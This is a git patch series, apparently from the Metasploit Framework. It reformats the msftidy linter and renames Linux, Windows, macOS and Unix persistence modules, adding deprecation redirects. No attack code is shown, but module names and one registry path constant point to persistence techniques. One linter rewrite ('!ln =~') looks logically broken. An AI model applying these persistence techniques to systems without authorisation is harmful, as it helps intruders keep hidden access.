'exploits' && @source.gsub("\n", '') =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @module_type == 'auxiliary' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + elsif @module_type == 'auxiliary' && @source.gsub("\n", '') =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack exhaustion"?') end end @@ -596,7 +599,8 @@ def check_bad_super_class 'exploits' => /^Msf::Exploit(?:::Local|::Remote)?$/, 'encoders' => /^(?:Msf|Rex)::Encoder/, 'nops' => /^Msf::Nop$/, - 'post' => /^Msf::Post$/ + 'post' => /^Msf::Post$/, + 'persistence' => /^Msf::Exploit::Local$/ } if prefix_super_map.key?(@module_type) @@ -613,7 +617,7 @@ def check_function_basics functions.each do |func_name, args| # Check argument length - args_length = args.split(",").length + args_length = args.split(',').length warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 end end @@ -625,13 +629,13 @@ def check_bad_class_name end def check_lines - url_ok = true - no_stdio = true + url_ok = true + no_stdio = true in_comment = false in_literal = false in_heredoc = false - src_ended = false - idx = 0 + src_ended = false + idx = 0 @lines.each do |ln| idx += 1 @@ -647,15 +651,16 @@ def check_lines # block string awareness (ignore indentation in these) in_literal = false if ln =~ /^EOS$/ next if in_literal - in_literal = true if ln =~ /\<\<-EOS$/ + + in_literal = true if ln =~ /<<-EOS$/ # heredoc string awareness (ignore indentation in these) if in_heredoc in_heredoc = false if ln =~ /\s#{in_heredoc}$/ next end - if ln =~ /\<\<\~([A-Z]+)$/ - in_heredoc = $1 + if ln =~ /<<~([A-Z]+)$/ + in_heredoc = ::Regexp.last_match(1) end # ignore stuff after an __END__ line @@ -663,11 +668,11 @@ def check_lines next if src_ended if ln =~ /[ \t]$/ - warn("Spaces at EOL", idx) + warn('Spaces at EOL', idx) end # Check for mixed tab/spaces. Upgrade this to an error() soon. - if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) + if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ::Regexp.last_match(1).match(/\x20\x09|\x09\x20/) warn("Space-Tab mixed indent: #{ln.inspect}", idx) end @@ -677,17 +682,15 @@ def check_lines end if ln =~ /\r$/ - warn("Carriage return EOL", idx) + warn('Carriage return EOL', idx) end - url_ok = false if ln =~ /\.com\/projects\/Framework/ - if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ - if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ - warn("File.open without binary mode", idx) - end + url_ok = false if ln =~ %r{\.com/projects/Framework} + if ln =~ /File\.open/ and ln =~ /["'][arw]/ && !(ln =~ /["'][wra]\+?b\+?["']/) + warn('File.open without binary mode', idx) end - if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ + if ln =~ /^[ \t]*load[ \t]+[\x22\x27]/ error("Loading (not requiring) a file: #{ln.inspect}", idx) end @@ -696,8 +699,9 @@ def check_lines if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ next if ln =~ /["'][^"']*\$std(?:out|err)[^"']*["']/ + no_stdio = false - error("Writes to stdout", idx) + error('Writes to stdout', idx) end # do not read Set-Cookie header (ignore commented lines) @@ -710,14 +714,12 @@ def check_lines warn("Auxiliary modules have no 'Rank': #{ln}", idx) end - if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ + if ln =~ /^\s*def\s+(?:[^()#]*[A-Z]+[^()]*)(?:\(.*\))?$/ warn("Please use snake case on method names: #{ln}", idx) end - if ln =~ /^\s*fail_with\(/ - unless ln =~ /^\s*fail_with\(.*Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/ - error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) - end + if ln =~ (/^\s*fail_with\(/) && !ln =~ (/^\s*fail_with\(.*Failure::(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/) + error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx) end if ln =~ /['"]ExitFunction['"]\s*=>/ @@ -728,7 +730,7 @@ def check_lines # Output from Base64.encode64 method contains '\n' new lines # for line wrapping and string termination if ln =~ /Base64\.encode64/ - info("Please use Base64.strict_encode64 instead of Base64.encode64") + info('Please use Base64.strict_encode64 instead of Base64.encode64') end end end @@ -743,9 +745,9 @@ def check_vuln_codes def check_vars_get test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? - test.each { |item| + test.each do |item| warn("Please use vars_get in send_request_cgi: #{item}") - } + end end end @@ -766,11 +768,11 @@ def check_udp_sock_get # This module then got copied and committed 20+ times and is used in numerous other places. # This ensures that this stops. def check_invalid_url_scheme - test = @source.scan(/^#.+https?\/\/(?:www\.)?metasploit.com/) + test = @source.scan(%r{^#.+https?//(?:www\.)?metasploit.com}) unless test.empty? - test.each { |item| + test.each do |item| warn("Invalid URL: #{item}") - } + end end end @@ -907,26 +909,24 @@ def run(dirs, options = {}) rubocop_runner = RuboCopRunner.new dirs.each do |dir| - begin - Find.find(dir) do |full_filepath| - next if full_filepath =~ /\.git[\x5c\x2f]/ - next unless File.file? full_filepath - next unless File.extname(full_filepath) == '.rb' - - msftidy_runner = MsftidyRunner.new(full_filepath) - # Executable files are now assumed to be external modules - # but also check for some content to be sure - next if File.executable?(full_filepath) && msftidy_runner.source =~ /require ["']metasploit["']/ - - msftidy_runner.run_checks - @exit_status = msftidy_runner.status if (msftidy_runner.status > @exit_status.to_i) - - rubocop_result = rubocop_runner.run(full_filepath, options) - @exit_status = MsftidyRunner::ERROR if rubocop_result != RuboCop::CLI::STATUS_SUCCESS - end - rescue Errno::ENOENT - $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" + Find.find(dir) do |full_filepath| + next if full_filepath =~ /\.git[\x5c\x2f]/ + next unless File.file? full_filepath + next unless File.extname(full_filepath) == '.rb' + + msftidy_runner = MsftidyRunner.new(full_filepath) + # Executable files are now assumed to be external modules + # but also check for some content to be sure + next if File.executable?(full_filepath) && msftidy_runner.source =~ /require ["']metasploit["']/ + + msftidy_runner.run_checks + @exit_status = msftidy_runner.status if (msftidy_runner.status > @exit_status.to_i) + + rubocop_result = rubocop_runner.run(full_filepath, options) + @exit_status = MsftidyRunner::ERROR if rubocop_result != RuboCop::CLI::STATUS_SUCCESS end + rescue Errno::ENOENT + warn "#{File.basename(__FILE__)}: #{dir}: No such file or directory" end @exit_status.to_i @@ -961,7 +961,7 @@ def run(dirs, options = {}) dirs = ARGV if dirs.length < 1 - $stderr.puts options_parser.help + warn options_parser.help @exit_status = 1 exit(@exit_status) end From 8138fe1449659942daae2ba1d8c0c1e9740b0bba Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 19 Jan 2025 13:12:49 -0500 Subject: [PATCH 04/94] finish renaming persistence docs --- ...pt_package_manager_persistence.md => apt_package_manager.md} | 0 .../linux/{autostart_persistence.md => autostart.md} | 0 .../linux/{bash_profile_persistence.md => bash_profile.md} | 0 .../modules/persistence/linux/{cron_persistence.md => cron.md} | 0 .../modules/persistence/linux/{motd_persistence.md => motd.md} | 0 .../persistence/linux/{rc_local_persistence.md => rc_local.md} | 0 .../persistence/linux/{sshkey_persistence.md => sshkey.md} | 0 ...um_package_manager_persistence.md => yum_package_manager.md} | 0 .../{obsidian_plugin_persistence.md => obsidian_plugin.md} | 0 .../modules/persistence/unix/{at_persistence.md => at.md} | 0 ...rsistence_image_exec_options.md => process_exit_debugger.md} | 0 .../persistence/windows/{sshkey_persistence.md => sshkey.md} | 0 ...pt_package_manager_persistence.rb => apt_package_manager.rb} | 2 ++ .../linux/{autostart_persistence.rb => autostart.rb} | 2 ++ .../linux/{bash_profile_persistence.rb => bash_profile.rb} | 2 ++ modules/persistence/linux/{cron_persistence.rb => cron.rb} | 2 ++ modules/persistence/linux/{motd_persistence.rb => motd.rb} | 2 ++ .../persistence/linux/{rc_local_persistence.rb => rc_local.rb} | 2 ++ .../persistence/linux/{service_persistence.rb => service.rb} | 2 ++ modules/persistence/linux/{sshkey_persistence.rb => sshkey.rb} | 2 ++ ...um_package_manager_persistence.rb => yum_package_manager.rb} | 2 ++ .../{obsidian_plugin_persistence.rb => obsidian_plugin.rb} | 2 ++ modules/persistence/osx/{persistence.rb => launch_plist.rb} | 2 ++ modules/persistence/unix/{at_persistence.rb => at.rb} | 2 ++ modules/persistence/windows/persistence_exe.rb | 2 ++ ...rsistence_image_exec_options.rb => process_exit_debugger.rb} | 2 ++ .../windows/{registry_persistence.rb => registry.rb} | 2 ++ modules/persistence/windows/{s4u_persistence.rb => s4u.rb} | 2 ++ .../persistence/windows/{persistence_service.rb => service.rb} | 2 ++ .../persistence/windows/{sshkey_persistence.rb => sshkey.rb} | 2 ++ modules/persistence/windows/sticky_keys.rb | 2 ++ modules/persistence/windows/{vss_persistence.rb => vss.rb} | 2 ++ modules/persistence/windows/{wmi_persistence.rb => wmi.rb} | 2 ++ 33 files changed, 42 insertions(+) rename documentation/modules/persistence/linux/{apt_package_manager_persistence.md => apt_package_manager.md} (100%) rename documentation/modules/persistence/linux/{autostart_persistence.md => autostart.md} (100%) rename documentation/modules/persistence/linux/{bash_profile_persistence.md => bash_profile.md} (100%) rename documentation/modules/persistence/linux/{cron_persistence.md => cron.md} (100%) rename documentation/modules/persistence/linux/{motd_persistence.md => motd.md} (100%) rename documentation/modules/persistence/linux/{rc_local_persistence.md => rc_local.md} (100%) rename documentation/modules/persistence/linux/{sshkey_persistence.md => sshkey.md} (100%) rename documentation/modules/persistence/linux/{yum_package_manager_persistence.md => yum_package_manager.md} (100%) rename documentation/modules/persistence/multi/{obsidian_plugin_persistence.md => obsidian_plugin.md} (100%) rename documentation/modules/persistence/unix/{at_persistence.md => at.md} (100%) rename documentation/modules/persistence/windows/{persistence_image_exec_options.md => process_exit_debugger.md} (100%) rename documentation/modules/persistence/windows/{sshkey_persistence.md => sshkey.md} (100%) rename modules/persistence/linux/{apt_package_manager_persistence.rb => apt_package_manager.rb} (96%) rename modules/persistence/linux/{autostart_persistence.rb => autostart.rb} (95%) rename modules/persistence/linux/{bash_profile_persistence.rb => bash_profile.rb} (97%) rename modules/persistence/linux/{cron_persistence.rb => cron.rb} (98%) rename modules/persistence/linux/{motd_persistence.rb => motd.rb} (95%) rename modules/persistence/linux/{rc_local_persistence.rb => rc_local.rb} (94%) rename modules/persistence/linux/{service_persistence.rb => service.rb} (99%) rename modules/persistence/linux/{sshkey_persistence.rb => sshkey.rb} (98%) rename modules/persistence/linux/{yum_package_manager_persistence.rb => yum_package_manager.rb} (98%) rename modules/persistence/multi/{obsidian_plugin_persistence.rb => obsidian_plugin.rb} (98%) rename modules/persistence/osx/{persistence.rb => launch_plist.rb} (98%) rename modules/persistence/unix/{at_persistence.rb => at.rb} (96%) rename modules/persistence/windows/{persistence_image_exec_options.rb => process_exit_debugger.rb} (97%) rename modules/persistence/windows/{registry_persistence.rb => registry.rb} (98%) rename modules/persistence/windows/{s4u_persistence.rb => s4u.rb} (99%) rename modules/persistence/windows/{persistence_service.rb => service.rb} (98%) rename modules/persistence/windows/{sshkey_persistence.rb => sshkey.rb} (98%) rename modules/persistence/windows/{vss_persistence.rb => vss.rb} (98%) rename modules/persistence/windows/{wmi_persistence.rb => wmi.rb} (99%) diff --git a/documentation/modules/persistence/linux/apt_package_manager_persistence.md b/documentation/modules/persistence/linux/apt_package_manager.md similarity index 100% rename from documentation/modules/persistence/linux/apt_package_manager_persistence.md rename to documentation/modules/persistence/linux/apt_package_manager.md diff --git a/documentation/modules/persistence/linux/autostart_persistence.md b/documentation/modules/persistence/linux/autostart.md similarity index 100% rename from documentation/modules/persistence/linux/autostart_persistence.md rename to documentation/modules/persistence/linux/autostart.md diff --git a/documentation/modules/persistence/linux/bash_profile_persistence.md b/documentation/modules/persistence/linux/bash_profile.md similarity index 100% rename from documentation/modules/persistence/linux/bash_profile_persistence.md rename to documentation/modules/persistence/linux/bash_profile.md diff --git a/documentation/modules/persistence/linux/cron_persistence.md b/documentation/modules/persistence/linux/cron.md similarity index 100% rename from documentation/modules/persistence/linux/cron_persistence.md rename to documentation/modules/persistence/linux/cron.md diff --git a/documentation/modules/persistence/linux/motd_persistence.md b/documentation/modules/persistence/linux/motd.md similarity index 100% rename from documentation/modules/persistence/linux/motd_persistence.md rename to documentation/modules/persistence/linux/motd.md diff --git a/documentation/modules/persistence/linux/rc_local_persistence.md b/documentation/modules/persistence/linux/rc_local.md similarity index 100% rename from documentation/modules/persistence/linux/rc_local_persistence.md rename to documentation/modules/persistence/linux/rc_local.md diff --git a/documentation/modules/persistence/linux/sshkey_persistence.md b/documentation/modules/persistence/linux/sshkey.md similarity index 100% rename from documentation/modules/persistence/linux/sshkey_persistence.md rename to documentation/modules/persistence/linux/sshkey.md diff --git a/documentation/modules/persistence/linux/yum_package_manager_persistence.md b/documentation/modules/persistence/linux/yum_package_manager.md similarity index 100% rename from documentation/modules/persistence/linux/yum_package_manager_persistence.md rename to documentation/modules/persistence/linux/yum_package_manager.md diff --git a/documentation/modules/persistence/multi/obsidian_plugin_persistence.md b/documentation/modules/persistence/multi/obsidian_plugin.md similarity index 100% rename from documentation/modules/persistence/multi/obsidian_plugin_persistence.md rename to documentation/modules/persistence/multi/obsidian_plugin.md diff --git a/documentation/modules/persistence/unix/at_persistence.md b/documentation/modules/persistence/unix/at.md similarity index 100% rename from documentation/modules/persistence/unix/at_persistence.md rename to documentation/modules/persistence/unix/at.md diff --git a/documentation/modules/persistence/windows/persistence_image_exec_options.md b/documentation/modules/persistence/windows/process_exit_debugger.md similarity index 100% rename from documentation/modules/persistence/windows/persistence_image_exec_options.md rename to documentation/modules/persistence/windows/process_exit_debugger.md diff --git a/documentation/modules/persistence/windows/sshkey_persistence.md b/documentation/modules/persistence/windows/sshkey.md similarity index 100% rename from documentation/modules/persistence/windows/sshkey_persistence.md rename to documentation/modules/persistence/windows/sshkey.md diff --git a/modules/persistence/linux/apt_package_manager_persistence.rb b/modules/persistence/linux/apt_package_manager.rb similarity index 96% rename from modules/persistence/linux/apt_package_manager_persistence.rb rename to modules/persistence/linux/apt_package_manager.rb index db9eaf1640b3..28e451a7dfbd 100644 --- a/modules/persistence/linux/apt_package_manager_persistence.rb +++ b/modules/persistence/linux/apt_package_manager.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/apt_package_manager_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/autostart_persistence.rb b/modules/persistence/linux/autostart.rb similarity index 95% rename from modules/persistence/linux/autostart_persistence.rb rename to modules/persistence/linux/autostart.rb index 8e23ef04996d..d0668368038c 100644 --- a/modules/persistence/linux/autostart_persistence.rb +++ b/modules/persistence/linux/autostart.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/autostart_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/bash_profile_persistence.rb b/modules/persistence/linux/bash_profile.rb similarity index 97% rename from modules/persistence/linux/bash_profile_persistence.rb rename to modules/persistence/linux/bash_profile.rb index 9f5fb136e721..670bacd62acc 100644 --- a/modules/persistence/linux/bash_profile_persistence.rb +++ b/modules/persistence/linux/bash_profile.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/bash_profile_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/cron_persistence.rb b/modules/persistence/linux/cron.rb similarity index 98% rename from modules/persistence/linux/cron_persistence.rb rename to modules/persistence/linux/cron.rb index 56d718976501..3a3827aa6de5 100644 --- a/modules/persistence/linux/cron_persistence.rb +++ b/modules/persistence/linux/cron.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/cron_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/motd_persistence.rb b/modules/persistence/linux/motd.rb similarity index 95% rename from modules/persistence/linux/motd_persistence.rb rename to modules/persistence/linux/motd.rb index 52e076d67abd..bb2b042d0759 100644 --- a/modules/persistence/linux/motd_persistence.rb +++ b/modules/persistence/linux/motd.rb @@ -7,6 +7,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/motd_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/rc_local_persistence.rb b/modules/persistence/linux/rc_local.rb similarity index 94% rename from modules/persistence/linux/rc_local_persistence.rb rename to modules/persistence/linux/rc_local.rb index fdcbb8fed34f..e9041119d9e2 100644 --- a/modules/persistence/linux/rc_local_persistence.rb +++ b/modules/persistence/linux/rc_local.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/rc_local_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/service_persistence.rb b/modules/persistence/linux/service.rb similarity index 99% rename from modules/persistence/linux/service_persistence.rb rename to modules/persistence/linux/service.rb index c960962e8072..95e19a1695b5 100644 --- a/modules/persistence/linux/service_persistence.rb +++ b/modules/persistence/linux/service.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/sshkey_persistence.rb b/modules/persistence/linux/sshkey.rb similarity index 98% rename from modules/persistence/linux/sshkey_persistence.rb rename to modules/persistence/linux/sshkey.rb index 8db3c6a30235..4abbfc096828 100644 --- a/modules/persistence/linux/sshkey_persistence.rb +++ b/modules/persistence/linux/sshkey.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Deprecated + moved_from 'post/linux/manage/sshkey_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/linux/yum_package_manager_persistence.rb b/modules/persistence/linux/yum_package_manager.rb similarity index 98% rename from modules/persistence/linux/yum_package_manager_persistence.rb rename to modules/persistence/linux/yum_package_manager.rb index eb7aba883167..7aa35f56dc07 100644 --- a/modules/persistence/linux/yum_package_manager_persistence.rb +++ b/modules/persistence/linux/yum_package_manager.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/yum_package_manager_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/multi/obsidian_plugin_persistence.rb b/modules/persistence/multi/obsidian_plugin.rb similarity index 98% rename from modules/persistence/multi/obsidian_plugin_persistence.rb rename to modules/persistence/multi/obsidian_plugin.rb index eeebb69efabc..658b31e16631 100644 --- a/modules/persistence/multi/obsidian_plugin_persistence.rb +++ b/modules/persistence/multi/obsidian_plugin.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Auxiliary::Report + include Msf::Exploit::Deprecated + moved_from 'exploits/multi/local/obsidian_plugin_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/osx/persistence.rb b/modules/persistence/osx/launch_plist.rb similarity index 98% rename from modules/persistence/osx/persistence.rb rename to modules/persistence/osx/launch_plist.rb index 5f1eb655cb61..a918f38a06b8 100644 --- a/modules/persistence/osx/persistence.rb +++ b/modules/persistence/osx/launch_plist.rb @@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE + include Msf::Exploit::Deprecated + moved_from 'exploits/osx/local/persistence' def initialize(info = {}) super( diff --git a/modules/persistence/unix/at_persistence.rb b/modules/persistence/unix/at.rb similarity index 96% rename from modules/persistence/unix/at_persistence.rb rename to modules/persistence/unix/at.rb index d54a0e8e7403..f4050f62948f 100644 --- a/modules/persistence/unix/at_persistence.rb +++ b/modules/persistence/unix/at.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper + include Msf::Exploit::Deprecated + moved_from 'exploits/unix/local/at_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/windows/persistence_exe.rb b/modules/persistence/windows/persistence_exe.rb index a0147d308c13..74511bd2d51f 100644 --- a/modules/persistence/windows/persistence_exe.rb +++ b/modules/persistence/windows/persistence_exe.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Services include Msf::Post::Windows::TaskScheduler + include Msf::Exploit::Deprecated + moved_from 'post/windows/manage/persistence_exe' def initialize(info = {}) super( diff --git a/modules/persistence/windows/persistence_image_exec_options.rb b/modules/persistence/windows/process_exit_debugger.rb similarity index 97% rename from modules/persistence/windows/persistence_image_exec_options.rb rename to modules/persistence/windows/process_exit_debugger.rb index d9d49993cedd..739a8599ffda 100644 --- a/modules/persistence/windows/persistence_image_exec_options.rb +++ b/modules/persistence/windows/process_exit_debugger.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/persistence_image_exec_options' def initialize(info = {}) super( diff --git a/modules/persistence/windows/registry_persistence.rb b/modules/persistence/windows/registry.rb similarity index 98% rename from modules/persistence/windows/registry_persistence.rb rename to modules/persistence/windows/registry.rb index 216c7e7b8f9f..796883f1ee1d 100644 --- a/modules/persistence/windows/registry_persistence.rb +++ b/modules/persistence/windows/registry.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Post::File + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/registry_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/windows/s4u_persistence.rb b/modules/persistence/windows/s4u.rb similarity index 99% rename from modules/persistence/windows/s4u_persistence.rb rename to modules/persistence/windows/s4u.rb index a369473c0854..c599fcd82f62 100644 --- a/modules/persistence/windows/s4u_persistence.rb +++ b/modules/persistence/windows/s4u.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Exploit::EXE + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/s4u_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/windows/persistence_service.rb b/modules/persistence/windows/service.rb similarity index 98% rename from modules/persistence/windows/persistence_service.rb rename to modules/persistence/windows/service.rb index 5ac241e67f6e..8c002def8660 100644 --- a/modules/persistence/windows/persistence_service.rb +++ b/modules/persistence/windows/service.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/persistence_service' def initialize(info = {}) super( diff --git a/modules/persistence/windows/sshkey_persistence.rb b/modules/persistence/windows/sshkey.rb similarity index 98% rename from modules/persistence/windows/sshkey_persistence.rb rename to modules/persistence/windows/sshkey.rb index 6d06f7b8b48d..2beb82071f14 100644 --- a/modules/persistence/windows/sshkey_persistence.rb +++ b/modules/persistence/windows/sshkey.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles + include Msf::Exploit::Deprecated + moved_from 'post/windows/manage/sshkey_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/windows/sticky_keys.rb b/modules/persistence/windows/sticky_keys.rb index 462e63782f24..2f63d4bfde4b 100644 --- a/modules/persistence/windows/sticky_keys.rb +++ b/modules/persistence/windows/sticky_keys.rb @@ -7,6 +7,8 @@ class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv + include Msf::Exploit::Deprecated + moved_from 'post/windows/manage/sticky_keys' DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options' DEBUG_REG_VALUE = 'Debugger' diff --git a/modules/persistence/windows/vss_persistence.rb b/modules/persistence/windows/vss.rb similarity index 98% rename from modules/persistence/windows/vss_persistence.rb rename to modules/persistence/windows/vss.rb index 84b03f0844f8..739bfcef4830 100644 --- a/modules/persistence/windows/vss_persistence.rb +++ b/modules/persistence/windows/vss.rb @@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Registry include Msf::Exploit::EXE include Msf::Post::Windows::TaskScheduler + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/vss_persistence' def initialize(info = {}) super( diff --git a/modules/persistence/windows/wmi_persistence.rb b/modules/persistence/windows/wmi.rb similarity index 99% rename from modules/persistence/windows/wmi_persistence.rb rename to modules/persistence/windows/wmi.rb index f7606cb1f82a..698d7a37cda3 100644 --- a/modules/persistence/windows/wmi_persistence.rb +++ b/modules/persistence/windows/wmi.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::Powershell include Post::Windows::Priv include Msf::Post::File + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/wmi_persistence' def initialize(info = {}) super( From d56d7ab25dd17f4618a32ce2656da462dfd0a39f Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 19 Jan 2025 16:31:35 -0500 Subject: [PATCH 05/94] move persistence under exploit --- .../persistence/linux/apt_package_manager.md | 0 .../linux}/persistence/linux/autostart.md | 0 .../linux}/persistence/linux/bash_profile.md | 0 .../linux}/persistence/linux/cron.md | 0 .../linux}/persistence/linux/motd.md | 0 .../linux}/persistence/linux/rc_local.md | 0 .../linux}/persistence/linux/sshkey.md | 0 .../persistence/linux/yum_package_manager.md | 0 .../persistence/multi/obsidian_plugin.md | 0 .../{ => exploit/unix}/persistence/unix/at.md | 0 .../windows/persistence_service.md | 0 .../windows/process_exit_debugger.md | 0 .../persistence/windows/ps_persist.md | 0 .../windows}/persistence/windows/sshkey.md | 0 .../linux/persistence}/apt_package_manager.rb | 0 .../linux/persistence}/autostart.rb | 0 .../linux/persistence}/bash_profile.rb | 0 .../linux/persistence}/cron.rb | 0 .../linux/persistence}/motd.rb | 0 .../linux/persistence}/rc_local.rb | 0 .../linux/persistence}/service.rb | 0 .../linux/persistence}/sshkey.rb | 0 .../linux/persistence}/yum_package_manager.rb | 0 .../multi/persistence}/obsidian_plugin.rb | 0 .../osx/persistence}/launch_plist.rb | 0 .../unix => exploits/unix/persistence}/at.rb | 0 .../windows/persistence}/persistence.rb | 0 .../windows/persistence}/persistence_exe.rb | 0 .../persistence}/process_exit_debugger.rb | 0 .../windows/persistence}/ps_persist.rb | 0 .../windows/persistence}/registry.rb | 0 .../windows/persistence}/s4u.rb | 0 .../windows/persistence}/service.rb | 0 .../windows/persistence}/sshkey.rb | 0 .../windows/persistence}/sticky_keys.rb | 0 .../windows/persistence}/vss.rb | 0 .../windows/persistence}/wmi.rb | 0 tools/dev/msftidy.rb | 274 +++++++++--------- 38 files changed, 137 insertions(+), 137 deletions(-) rename documentation/modules/{ => exploit/linux}/persistence/linux/apt_package_manager.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/autostart.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/bash_profile.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/cron.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/motd.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/rc_local.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/sshkey.md (100%) rename documentation/modules/{ => exploit/linux}/persistence/linux/yum_package_manager.md (100%) rename documentation/modules/{ => exploit/multi}/persistence/multi/obsidian_plugin.md (100%) rename documentation/modules/{ => exploit/unix}/persistence/unix/at.md (100%) rename documentation/modules/{ => exploit/windows}/persistence/windows/persistence_service.md (100%) rename documentation/modules/{ => exploit/windows}/persistence/windows/process_exit_debugger.md (100%) rename documentation/modules/{ => exploit/windows}/persistence/windows/ps_persist.md (100%) rename documentation/modules/{ => exploit/windows}/persistence/windows/sshkey.md (100%) rename modules/{persistence/linux => exploits/linux/persistence}/apt_package_manager.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/autostart.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/bash_profile.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/cron.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/motd.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/rc_local.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/service.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/sshkey.rb (100%) rename modules/{persistence/linux => exploits/linux/persistence}/yum_package_manager.rb (100%) rename modules/{persistence/multi => exploits/multi/persistence}/obsidian_plugin.rb (100%) rename modules/{persistence/osx => exploits/osx/persistence}/launch_plist.rb (100%) rename 